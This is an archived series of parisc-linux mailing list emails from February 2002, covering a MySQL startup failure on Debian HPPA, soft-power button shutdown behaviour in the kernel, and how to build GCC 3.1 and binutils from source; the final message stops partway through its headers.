X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14086

Hi,

I've got a problem running MySQL.
After a complete new installation of Debian HPPA 0.9.3 I installed=20
Mysql-server with apt-get an it works fine.
After an update to libc6_2.2.5-3 and an mysql-sever upgrade the=20
configuration of mysql hangs.
I downgraded to libc6_2.2.4-7 an then the installation passed but I can't=20
start mysql server

I get the following log files:

beta:/var/lib/mysql# vim beta.err

020218 11:57:49  mysqld started
Cannot initialize InnoDB as 'innodb_data_file_path' is not set.
If you do not want to use transactional InnoDB tables, add a line
skip-innodb
to the [mysqld] section of init parameters in your my.cnf
or my.ini. If you want to use InnoDB tables, add for example,
innodb_data_file_path =3D ibdata1:30M
But to get good performance you should adjust for your hardware
the InnoDB startup options listed in section 2 at
http://www.innodb.com/ibman.html
020218 11:57:51  /usr/sbin/mysqld: Can't find file: './mysql/host.frm'=20
(errno: 13)
020218 11:57:51  mysqld ended

and:

beta:/var/log# vim mysql.err

Preparing db table
Preparing host table
Preparing user table
Preparing func table
Preparing tables_priv table
Preparing columns_priv table
Installing all prepared tables
020218 11:57:41  /usr/sbin/mysqld: Shutdown Complete


PLEASE REMEMBER TO SET A PASSWORD FOR THE MySQL root USER !
This is done with:
/usr/bin/mysqladmin -u root -p password 'new-password'
/usr/bin/mysqladmin -u root -h beta -p password 'new-password'
See the manual for more instructions.

Please report any problems with the /usr/bin/mysqlbug script!

The latest information about MySQL is available on the web at
http://www.mysql.com
Support MySQL by buying support/licenses at https://order.mysql.com

ERROR: 1017  Can't find file: './mysql/user.frm' (errno: 13)
020218 11:57:42  /usr/sbin/mysqld: Shutdown Complete

ERROR: 1017  Can't find file: './mysql/db.frm' (errno: 13)
ERROR: 1017  Can't find file: './mysql/db.frm' (errno: 13)
020218 11:57:44  /usr/sbin/mysqld: Shutdown Complete

But these files (db.frm and user.frm) exists in /var/lib/mysql.

Does anyone have an idea how to get mysql work?

cya,
Tilo


Student of Computer Science at Chemnitz University of Technology
|[ Tilo Jandt, Vetterstra=DFe 70, Zi. 330, D-09126 Chemnitz        ]|
|[ mailto:tija@hrz.tu-chemnitz.de ]  [ ICQ: 73832493               ]|
|[ Phone: +49 179 5333 255        ]  [ Fax: +49 89 2443 25531 ]|





From - Thu Nov 08 21:21:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power LED
Date: Mon, 18 Feb 2002 12:49:08 +0100
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 87
Approved: news@gmane.org
Message-ID: <E16cmI9-0000SL-00@linuxlab.wdf.sap-ag.de>
References: <20020218101505.54487.qmail@web21205.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621078 3277 80.91.229.3 (22 Nov 2014 01:51:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:18 +0000 (UTC)
To: Hinrich Aue <hinrich_aue@yahoo.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 04:49:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE1444840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 04:49:10 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id MAA11138;
  Mon, 18 Feb 2002 12:53:15 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <20020218101505.54487.qmail@web21205.mail.yahoo.com>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook.
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14087

On Monday 18 February 2002 11:15, Hinrich Aue wrote:
> ------------------------------------------
>
> >715/64, 715/80 and 715/100 belong to the so-called
> >715/new machines and all of those support the
>
> soft-power
>
> >switch, else you wouldn't have received the
> >"Shutdown requested..." message.
> >In your case I assume, that your filesystems wasn't
>
> clean
>
> >before you did shutdown your system....
> >
> >BTW, the shutdown is initiated by the kernel by
>
> sending
>
> >a SIGINT to the PID (cad_pid) of the init process.
>
> This
>
> >is done in the file power.c:
> >http://cvs.parisc-linux.org/linux/arch/parisc/kernel/power.c?rev=1.5&conte
> >nt-type=text/vnd.viewcvs-markup After receiving this signal the init
> > process switches
> >the runlevel,
> >shuts down your system cleanly and runs
>
> /sbin/poweroff
>
> >or /sbin/halt. This is already the case and is also
> >done
> >that way for ATX systems.
> >
> >Regards,
> >Helge
>
> But if I push the power button, the init process
> doesn't seem do change the runlevel, and power off
> immediatly.
> I can see the message "Shutdown requested..." and then
> - power off -.
> I think this souldn't be so.

Yes, that's wrong. But you seem to be the only one
who has such problems with 715/new. As I said in another
mail my Scorpio (715/50) machine shuts down immediately too - 
but this machine doesn't support the soft-power switch either.
BTW, which kernel are you using ?

> Also I think it is a bit dangerous if everyone can
> switch of the system, clean or unclean, just by
> pushing the button.

That's right, but that's also the behaviour on Non-ATX PC's.

> Maybe a 5 second push-time would be good (like ATX)
> but with a gracefull shutdown.

That's not that easy.
On some systems the switch will send a key-down signal from
the first press on, independantly if you released the button again or
not. Other machines just send the signal while the button
is down and stops it again if it was released.

That said, this is how I wrote the code. 
In process_shutdown() you'll find:
       /* wait until the button was pressed for 1 second */
        if (shutdown_timer == HZ) {
                static char msg[] = "Shutting down...";
	    printk(KERN_INFO "%s\n", msg);

This means, that the kernel will just shutdown, if you pressed
the button for at least 1 second. You might change that to 5*HZ if
you want the 5 second push-time. 
But, as I said, the kernel can't recognize on some systems if
you have released the button again and so it will always 
time-out and initiate the shutdown request. Your 715/80 seems
to fall into this category of systems.

Regards,
Helge



From - Thu Nov 08 21:21:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Mon, 18 Feb 2002 09:29:56 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <20020218092956.A1324@systemhalted>
References: <OF5687265E.42AF0F56-ONC1256B64.00367C5C@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621079 3280 80.91.229.3 (22 Nov 2014 01:51:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:19 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 07:29:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F5954844
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 07:29:45 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g1IETuS01387;
	Mon, 18 Feb 2002 09:29:56 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	=?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>,
	dave@hiauly1.hia.nrc.ca, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OF5687265E.42AF0F56-ONC1256B64.00367C5C@com>; from jso@europay.com on Mon, Feb 18, 2002 at 11:19:33AM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14088

> Hi Dave,
> 
> Can you explain me how to get those sources.
> 'http://www.parisc-linux.org/toolchain/index.html', I would also need
> corresponding binutils and glibc sources?
> Which release do I have do use to rebuild gcc-3.1 and how to get their src
> (if requested)?

J,

[Re: Numbers]

I think you might mean rebuilding gcc-3.0.1?

[Re: How to build]

You can take a look at:
http://www.parisc-linux.org/toolchain/PARISC-Linux-XC-HOWTO.html

Which has the detail for building binutils, gcc, glibc as a XC,
but in general it's pretty much the same for most situations.


[Re: Locations]

binutils, glibc, gcc:

ftp://ftp.debian.org/debian/pool/main/b/binutils/
ftp://ftp.debian.org/debian/pool/main/g/glibc/

ftp://ftp.debian.org/debian/pool/main/g/gcc-3.0/ (New)
ftp://ftp.debian.org/debian/pool/main/g/gcc-snapshot/ (VERY New)

You can change ftp.debian.org to match the closest mirror.

Get the latest source for everything and start compiling!

/me smiles 

c.





From - Thu Nov 08 21:21:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Mon, 18 Feb 2002 15:54:11 +0100
Lines: 93
Approved: news@gmane.org
Message-ID: <OF99BC0404.6646AF92-ONC1256B64.0050D0F6@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621079 3282 80.91.229.3 (22 Nov 2014 01:51:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:19 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 07:48:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD14E484E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 07:48:14 -0700 (MST)
Original-Received: from mastercard.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d5926568f19@epirel991.europay.com>;
 Mon, 18 Feb 2002 15:48:16 +0100
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.8 |June 18, 2001) at
 02/18/2002 03:54:12 PM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14089

Carlos,

Thanks for advise but I speek well about the new (annonced on
http://www.gnu.org/software/gcc/gcc.html: ...The next major release, GCC
3.1,...) gcc release 3.1.

Thanks any way for attention,
     Joel



                                                                           =
                                       =20
                    "Carlos                                                =
                                       =20
                    O'Donell Jr."        To:     Jo=EBl Soete <jso@europay.=
com>                                     =20
                    <carlos@baldr        cc:     dave@hiauly1.hia.nrc.ca, p=
arisc-linux@lists.parisc-linux.org     =20
                    ic.uwo.ca>           Subject:     Re: [parisc-linux] Re=
: hppa-linux gcc-3.0.3:                =20
                                                                           =
                                       =20
                    18-02-02                                               =
                                       =20
                    03:29 PM                                               =
                                       =20
                                                                           =
                                       =20
                                                                           =
                                       =20




> Hi Dave,
>
> Can you explain me how to get those sources.
> 'http://www.parisc-linux.org/toolchain/index.html', I would also need
> corresponding binutils and glibc sources?
> Which release do I have do use to rebuild gcc-3.1 and how to get their
src
> (if requested)?

J,

[Re: Numbers]

I think you might mean rebuilding gcc-3.0.1?

[Re: How to build]

You can take a look at:
http://www.parisc-linux.org/toolchain/PARISC-Linux-XC-HOWTO.html

Which has the detail for building binutils, gcc, glibc as a XC,
but in general it's pretty much the same for most situations.


[Re: Locations]

binutils, glibc, gcc:

ftp://ftp.debian.org/debian/pool/main/b/binutils/
ftp://ftp.debian.org/debian/pool/main/g/glibc/

ftp://ftp.debian.org/debian/pool/main/g/gcc-3.0/ (New)
ftp://ftp.debian.org/debian/pool/main/g/gcc-snapshot/ (VERY New)

You can change ftp.debian.org to match the closest mirror.

Get the latest source for everything and start compiling!

/me smiles

c.








**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************



From - Thu Nov 08 21:21:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Mon, 18 Feb 2002 11:25:22 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200202181625.g1IGPNa4011551@hiauly1.hia.nrc.ca>
References: <OF5687265E.42AF0F56-ONC1256B64.00367C5C@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621079 3288 80.91.229.3 (22 Nov 2014 01:51:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jso@europay.com (=?iso-8859-1?Q?Jo=EBl_Soete?=)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 09:25:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B6B9484C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 09:25:30 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g1IGPOFN011552;
	Mon, 18 Feb 2002 11:25:24 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g1IGPNa4011551;
	Mon, 18 Feb 2002 11:25:23 -0500 (EST)
In-Reply-To: <OF5687265E.42AF0F56-ONC1256B64.00367C5C@com> from "=?iso-8859-1?Q?Jo=EBl_Soete?=" at Feb 18, 2002 11:19:33 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14090

> So I try to figure out how to get sources but even on
> http://gcc.gnu.org/cgi-bin/cvsweb.cgi/ (no more chance on the ftp site) I
> do not find 3.1 branch.

There isn't a 3.1 branch yet.  Just follow the instructions to checkout
the main branch and you will get the latest approved code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Mon, 18 Feb 2002 11:41:03 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200202181641.g1IGf3hb011664@hiauly1.hia.nrc.ca>
References: <OF99BC0404.6646AF92-ONC1256B64.0050D0F6@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621080 3295 80.91.229.3 (22 Nov 2014 01:51:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:20 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: jso@europay.com (=?iso-8859-1?Q?Jo=EBl_Soete?=)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 09:41:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FA644856
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 09:41:08 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g1IGf4FN011666;
	Mon, 18 Feb 2002 11:41:05 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g1IGf3hb011664;
	Mon, 18 Feb 2002 11:41:03 -0500 (EST)
In-Reply-To: <OF99BC0404.6646AF92-ONC1256B64.0050D0F6@com> from "=?iso-8859-1?Q?Jo=EBl_Soete?=" at Feb 18, 2002 03:54:11 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14091

> Thanks for advise but I speek well about the new (annonced on
> http://www.gnu.org/software/gcc/gcc.html: ...The next major release, GCC
> 3.1,...) gcc release 3.1.

I am building 3.1 experimental regularly from the main gcc cvs source.
I have built glibc with it.  You probably should get the cvs binutils
because it contains a long branch related fix which will cause a seg
fault early in the bootstrap.  You can avoid it by using "-O2" in
stage1.  I have a couple of small fixes that need to go in regarding
linking with milli and pthreads routines.  The gcc testsuite (expect)
seems to trigger a parisc-linux bug which fills /var with page fault
error mesages.

I am currently trying to get dw2 unwinding working.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Mon, 18 Feb 2002 18:53:49 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <OFB6528EDF.C6603F22-ONC1256B64.00615768@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621080 3300 80.91.229.3 (22 Nov 2014 01:51:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:20 +0000 (UTC)
Cc: carlos@baldric.uwo.ca,
	"jso" <jso@europay.com>(=?iso-8859-1?Q?Jo=EBl_Soete?=),
	parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 10:47:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90FC94855
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 10:47:52 -0700 (MST)
Original-Received: from mastercard.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d5926fb0303@epirel991.europay.com>;
 Mon, 18 Feb 2002 18:47:53 +0100
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.8 |June 18, 2001) at
 02/18/2002 06:53:49 PM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14092

David,

Ok I just launch the download of binutils snapshot dated of today.
I will then follow the 'recipe'.

Than again for all,
     Joel

PS: I would try natively (on my palinux box directly) with MACH=3Dhppa-linux
i.e.: ~/source/binutils/configure --host=3Dhppa-linux ... ?



                                                                           =
                                         =20
                    "John David                                            =
                                         =20
                    Anglin"                To:     jso@europay.com (Jo=EBl =
Soete)                                     =20
                    <dave@hiauly1.h        cc:     carlos@baldric.uwo.ca, p=
arisc-linux@lists.parisc-linux.org       =20
                    ia.nrc.ca>             Subject:     Re: [parisc-linux] =
Re: hppa-linux gcc-3.0.3:                =20
                                                                           =
                                         =20
                    18-02-02 05:41                                         =
                                         =20
                    PM                                                     =
                                         =20
                                                                           =
                                         =20
                                                                           =
                                         =20




> Thanks for advise but I speek well about the new (annonced on
> http://www.gnu.org/software/gcc/gcc.html: ...The next major release, GCC
> 3.1,...) gcc release 3.1.

I am building 3.1 experimental regularly from the main gcc cvs source.
I have built glibc with it.  You probably should get the cvs binutils
because it contains a long branch related fix which will cause a seg
fault early in the bootstrap.  You can avoid it by using "-O2" in
stage1.  I have a couple of small fixes that need to go in regarding
linking with milli and pthreads routines.  The gcc testsuite (expect)
seems to trigger a parisc-linux bug which fills /var with page fault
error mesages.

I am currently trying to get dw2 unwinding working.

Dave
--
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX:
952-6605)






**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************



From - Thu Nov 08 21:21:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Mon, 18 Feb 2002 13:03:29 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200202181803.g1II3URO012248@hiauly1.hia.nrc.ca>
References: <OFB6528EDF.C6603F22-ONC1256B64.00615768@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621080 3304 80.91.229.3 (22 Nov 2014 01:51:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:20 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, "jso"@hiauly1.hia.nrc.ca,
	<jso@europay.com>, parisc-linux@lists.parisc-linux.org
To: jso@europay.com (=?iso-8859-1?Q?Jo=EBl_Soete?=)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 11:03:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3DC44863
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 11:03:34 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g1II3VFN012249;
	Mon, 18 Feb 2002 13:03:31 -0500 (EST)
Original-Received: (from dave@localhost)
